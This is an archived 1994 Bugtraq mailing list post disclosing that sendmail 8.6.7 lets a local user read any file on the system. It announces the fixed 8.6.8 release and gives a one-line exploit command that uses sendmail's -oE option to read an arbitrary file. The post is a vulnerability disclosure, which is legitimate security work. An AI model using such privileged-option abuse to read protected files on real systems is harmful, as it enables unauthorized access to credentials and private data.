Bugtraq mailing list archives

Exploit for sendmail8.6.7

From: mcn () nostromo c3 lanl gov (Michael Neuman)
Date: Sat, 19 Mar 1994 08:14:14 -0700


  Sendmail 8.6.7 is vulnerable, and consequently 8.6.8 has been released.
It's available from ftp.cs.berkeley.edu:/ucb/sendmail/sendmail.8.6.8*

It's possible to read any file on the system with 8.6.7 from the command
line. Simply:

/usr/lib/sendmail -oEfilename_to_read bounce
From: your_username

Current thread:

Exploit for sendmail8.6.7 Michael Neuman (Mar 19)